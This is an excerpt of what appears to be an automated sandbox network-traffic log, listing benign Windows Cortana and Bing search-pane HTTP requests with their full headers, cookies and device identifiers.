01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=notepa&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=6&cvid=693df9a8be554bffb57e511bdf55aece&ig=916141930a7c43bcb8314a88e833d4d1 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rb/1c/cir3,ortl,cc,nc/n7LMSoHYYIBGa1VPMlnTzxBvlfA.css?bu=B6UCSJMCe11drgI&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=notepad&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=7&cvid=693df9a8be554bffb57e511bdf55aece&ig=79790c2131664f4c8a9426e43c0ed1af HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rb/1c/cir3,ortl,cc,nc/uANxnX_BheDjd2-cdR8N9DEWlds.css?bu=C4kH-ALbA98H0wbABvUEXV1dXQ&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rb/49/ortl,cc,nc/4-xJy3tX6bM2BGl5zKioiEcQ1TU.css?bu=A4gCjAKPAg&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rb/73/cir3,ortl,cc,nc/mPD4fuJQGcY0PxLeaVGIBZATSng.css?bu=Gd0J2gnvCZ0K5gnjCdQJlArUCfIJ1An8Cf8J1AnUCYUK1AmICpEKiwq2CtQJoArUCd0K&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?041a329480e9cb57604d0e3397f69dd9 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: l-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rb/73/ortl,cc,nc/QNBBNqWD9F_Blep-UqQSqnMp-FI.css?bu=AdQJ&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?4ec9f13efea672e8986fbf57df3f530e HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: l-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rb/73/ortl,cc,nc/_Flhim3Dag7tsIXg2zUCONaBlAY.css?bu=CckK1AnOCtQJ0grUCdQJ1AnUCQ&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?a6c2370df08d5ddbbd972a0a6daf3f8a HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: t-ring-fallbacks1.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?28e669adc688893a6421d9d6f084a20e HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: t-ring-fallbacks1.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: 60X-DeviceID: 01000A4109009A83X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAWmZLpgirMCAhIArNhIHI6UXpN6ylLLTic8C7Ww4F7asfr%2Bqng07uIpHgFlDpzqRleqh9Abo//dlTrQhlRnGWqiiqCjXdOPs80fWkZJFyjNpRccqWZjCB/CQcVqMw/B%2BUV6hk6jS4daAOrT4BZVMzCPKjul8emwltmpoWKhvKpUQakailk231Ij1fqhMwHcQQ1EvM/9AsXJL7O4L3EmFUF5JdJ%2BSPhMwG%2Bqmh6lEFMetqjfVdClBvQ5rqCntPXIZn%2Bo3Y6Xly8vMKsTvW%2Bz7e1j71ozp4ecJiM3eJBl62DTVFsHKKV2BI9Dcm2FtwJ6/esI4yhmcktXLfWLmbtbi84ADZgAACM9M5N2/gS14qAE4D8lg0wtz9xu5eaJTrSy//81sV0K8Rq16oi5oNTYr5NO5WaCLap%2BnLfGPjuh33nH1RI0zQ%2B7Hyx9SjtNH8ox7KEqfsGVBWQx4ZDcLWpOPpwl57EbbIOHjCBp8PH3v0%2BtAq7r/G2/QVvyTDQnFqchTmtrIYlNC2RGIyYofgWNpRUna0Vd6kw6dZ81VilG59ZUdA6mdvORH282fYZhY40/fMN6UEc2qElNjpXKyG6h2SqBHIbQDXciBtJXEeNSGsDLRX8Khh03xiowuT4lEICLSKbIsBC1QXCTKWGYdHVEa/ArG0AQQWJ8k1ki8L%2BIq6guzy9RDlxlPeVjXiwpBeYjTuVdG8unO/m9ZOH3yp7N28REEfHLHqpy12N8Q237IIKdr%2Brl9V5ecCZBuQ9%2BUNVQjwX7TVmMMHI59m1/ftv4n2Yo8y/8uYwlNNlIiG7i1vgGDJxS2zC2eKoIiLOVnRvLB2E/oGsjoFKhsXJxGi/fCkUlv5ovIrt26LaRUk7H%2B4%2BWCKFk118%2B3hcZVLFGBqXPMEPGEfZFRP/pdjm5DY6p9zs0yh3GKsCT52AE%3D%26p%3DX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1706260663User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: FDC56844471F42B2A2AF698DCA19B67DX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUID=5047E5942BB2460EA35B53CCF78DDB3D; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rp/-UUUC3NtBup9DdJY7dsEaFX-QoY.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?11a91e2c2fa42517df7093aff0f6ec4e HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/3AnCJOGk4gSpAV3laN3JfiNTvRg.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?89b326e424ca5ce28f7fe5e7ab123e9b HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/4jug8Uxti_b-VPApkU7DSWL5pII.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/4vd8DCnuU0PtIl2BOXSw75rFgww.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=asgw&rid=e9aa0f6589c8f455df876a216fee4750&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22l-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:628,%22T%22:1},{%22RequestID%22:%22l-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:509,%22T%22:1},{%22RequestID%22:%22t-ring-fallbacks1.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:671,%22T%22:1},{%22RequestID%22:%22t-ring-fallbacks1.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:542,%22T%22:1},{%22RequestID%22:%22d4b8db476c072517bc43f09f58d5d8ff%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:21845,%22T%22:128,%22Rip%22:%22%2081.181.57.0%22,%22Ep%22:%22%20hk2prdapp02%22,%22Mn%22:%22%20hk2app020%22},{%22RequestID%22:%22d4b8db476c072517bc43f09f58d5d8ff%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1605,%22T%22:128,%22Rip%22:%22%2081.181.57.0%22,%22Ep%22:%22%20hk2prdapp02%22,%22Mn%22:%22%20hk2app021%22}] HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 